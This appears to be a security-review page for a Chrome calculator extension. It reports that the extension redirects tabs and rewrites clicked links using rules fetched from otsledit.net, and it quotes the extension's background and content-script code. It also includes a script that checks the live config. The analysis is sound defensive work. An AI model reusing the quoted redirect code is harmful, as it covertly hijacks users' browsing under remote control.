Is Calculator Extension safe?

Medium risk

Calculator Extension redirects visits to server-listed sites and rewrites clicked links through a remote-chosen URL.

On every page load, a content script checks the current site against a list of domains and redirect targets fetched from the extension's own server (otsledit.net) and, if it matches, immediately sends the whole tab to a new address built from that server-supplied URL. The same script can also rewrite the href of individual links matching a remote-supplied selector at the moment they're clicked, sending the click through a server-chosen URL before restoring the link's original address. Because both the list of targeted sites and the redirect destinations are controlled entirely from the server, they can be changed at any time without publishing a new version of the extension.

Sourov1.1.0Chrome Web Store
45Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

SeverityHIGH
ClassUNWANTED
TypeUnexpected
CWECWE-506
SourceAI FOUND

Content script redirects your tab using a server-picked destination

Code analysis shows a content script on every site fetches a redirect rule from otsledit.net at startup.

If the page's URL matches the server's pattern, the script replaces the tab's address with a server-chosen prefix.

01EvidenceCAUSE EFFECT
What actually happens
You did this

You open a tab whose address matches a pattern the extension downloaded from otsledit.net.

The pattern is a regular expression the server can change at any time.

The extension did this

The tab is immediately redirected to a destination the same server supplied.

The destination is prefixed onto your original address and the browser navigates there.

02EvidenceCODE COMPARE
The code that does this

Startup config fetch and redirect logic

What it actually does
background.js — fetches the remote config on startupbackground.js
  let defaultMinor = [];
  fetch("https://otsledit.net/calc", {
    method: 'GET',
    headers: {
      'Accept': 'application/json',
      'Content-Type': 'application/json'
    }
  }).then(response => response.json()).then(data => {
    if (data.defaultMatches && data.defaultLinks && data.defaultSLink && data.defaultLinks.length && data.defaultSLink.length) {
      defaultMatches = data.defaultMatches;
      defaultLinks = data.defaultLinks;
      defaultSLink = data.defaultSLink;
      defaultMinor = data.defaultMinor;
    }
  }).catch(error => console.log('Error query:', error));
  function checkTime(e) {
    let t = Math.floor(Date.now() / 1e3),
background.js — hands the config to content scripts on requestbackground.js
  chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) {
    var defaultM = defaultMinor;
    if (request.minor && defaultM && defaultM['al']) {
      let newAl = [];
      for (let j in defaultM['al']) {
        let res = checkTime(defaultM['al'][j][0]);
        if (res) {
          newAl.push(defaultM['al'][j]);
        }
      }
      let oobjs = {};
      oobjs['al'] = newAl;
      oobjs['ll'] = defaultM['ll'];
      sendResponse(oobjs);
    } else if (request.updateCheck && defaultM && defaultM['al']) {
      getUpdateLastSet(request.updateCheck);
      sendResponse();
    } else if (defaultMatches && defaultLinks && request.start) {
      let obj = {
        defaultMatches: defaultMatches,
        defaultLinks: defaultLinks,
        defaultSLink: defaultSLink,
        defaultMinor: defaultMinor
      };
      sendResponse(obj);
    }
  });
content.js — matches the page URL and redirects the tabcontent.js
chrome.runtime.sendMessage({
  start: true
}, response => {
  if (response && response.defaultMatches) {
    let nn = new RegExp(response.defaultMatches, "i");
    let defaultLinks = response.defaultLinks;
    if (window.location.href.match(nn) && cT) {
      let url = new URL(window.location.href);
      let domain = url.hostname;
      for (let i in defaultLinks) {
        if (domain.indexOf(defaultLinks[i][0]) != -1) {
          let t = Math.floor(Date.now() / 1e3);
          localStorage.setItem('ckAli', t);
          window.location.href = defaultLinks[i][1] + window.location.href;
          break;
        }
      }
    }
  }
});
function checkTime(e) {
  let t = Math.floor(Date.now() / 1e3),
    a = parseInt(localStorage.getItem(e)) || 0;
  return !(t - a < 259200);
}
/******/ })()
03EvidenceTHIRD PARTY LIST
Hosts involved in the redirect
  • otsledit.net

    Serves the JSON config that names which site patterns trigger a redirect and where each one points, fetched fresh on every browser startup.

  • bit.ly

    Redirect destination returned by otsledit.net for three matching sites as of 2026-09-19; the server can point this at a different domain at any time.

04EvidenceARTIFACT
Reproduce it yourself

Fetches the extension's live remote config and reports which site patterns currently trigger a redirect and where they lead.

RequiresNode.js 18+ (built-in fetch)
check_redirect_config.js · js
#!/usr/bin/env node
// check_redirect_config.js
// Fetches the extension's live remote config and reports which site
// patterns currently trigger a forced tab redirect, and where they go.
// Node.js 18+ (built-in fetch). Usage:
//   node check_redirect_config.js
//   node check_redirect_config.js https://best-calc.ru/
'use strict';

const CONFIG_URL = 'https://otsledit.net/calc';

async function main() {
  const res = await fetch(CONFIG_URL, {
    method: 'GET',
    headers: { Accept: 'application/json' },
  });
  const data = await res.json();

  console.log('Live config from', CONFIG_URL);
  console.log('defaultMatches (regex, case-insensitive):');
  console.log(' ', data.defaultMatches);
  console.log('defaultLinks (hostname substring -> redirect prefix):');
  for (const [hostSubstring, prefix] of data.defaultLinks || []) {
    console.log(`  ${hostSubstring} -> ${prefix}`);
  }

  const testUrl = process.argv[2];
  if (!testUrl) {
    console.log('\nPass a URL as an argument to test whether it currently matches.');
    return;
  }

  const matches = new RegExp(data.defaultMatches, 'i');
  const hostname = new URL(testUrl).hostname;
  const patternHit = matches.test(testUrl);
  const linkEntry = (data.defaultLinks || []).find(
    ([hostSubstring]) => hostname.indexOf(hostSubstring) !== -1,
  );

  console.log(`\nTesting: ${testUrl}`);
  console.log(`  matches defaultMatches regex: ${patternHit}`);
  if (linkEntry) {
    console.log(`  matching defaultLinks entry: "${linkEntry[0]}" -> ${linkEntry[1]}`);
    if (patternHit) {
      console.log(`  => the extension would redirect this tab to: ${linkEntry[1]}${testUrl}`);
    }
  } else {
    console.log('  no defaultLinks entry matches this hostname.');
  }
}

main().catch((err) => {
  console.error('Error fetching config:', err.message);
  process.exit(1);
});
How to run it
  1. 1
    Run with Node 18+: node check_redirect_config.js.
  2. 2
    It prints the live regex and destinations.
  3. 3
    Add a URL argument to test a match, e.g. node check_redirect_config.js https://best-calc.ru/.
05EvidencePLAIN NOTE
Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

Data recipients

otsledit.net
Updated 20 September 2026pobhillfabemnednokgkjlfhjkmeibfp